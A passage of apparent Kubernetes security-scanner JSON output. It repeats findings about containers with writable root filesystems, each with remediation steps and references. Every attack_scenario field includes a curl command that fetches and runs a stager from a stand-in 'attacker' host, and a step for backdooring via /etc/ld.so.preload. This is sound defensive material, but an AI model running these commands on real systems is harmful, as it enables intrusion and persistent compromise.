    "description": "Container `app` in `Deployment/ingress-only/ingress-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "ingress-app",
      "namespace": "ingress-only",
      "api_group": "apps"
    },
    "namespace": "ingress-only",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/ingress-only/ingress-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/ingress-app -n ingress-only -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:lp-fixtures:lp-narrow-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/lp-fixtures/lp-narrow-app`",
    "description": "Container `app` in `Deployment/lp-fixtures/lp-narrow-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-narrow-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-narrow-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/lp-narrow-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:lp-fixtures:lp-orphan-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/lp-fixtures/lp-orphan-app`",
    "description": "Container `app` in `Deployment/lp-fixtures/lp-orphan-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-orphan-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-orphan-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/lp-orphan-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:lp-fixtures:lp-wildcard-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/lp-fixtures/lp-wildcard-app`",
    "description": "Container `app` in `Deployment/lp-fixtures/lp-wildcard-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-wildcard-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-wildcard-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/lp-wildcard-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:netpol-imds:imds-allow-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/netpol-imds/imds-allow-app`",
    "description": "Container `app` in `Deployment/netpol-imds/imds-allow-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-allow-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/netpol-imds/imds-allow-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/imds-allow-app -n netpol-imds -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:netpol-imds:imds-open-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/netpol-imds/imds-open-app`",
    "description": "Container `app` in `Deployment/netpol-imds/imds-open-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-open-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/netpol-imds/imds-open-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/imds-open-app -n netpol-imds -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
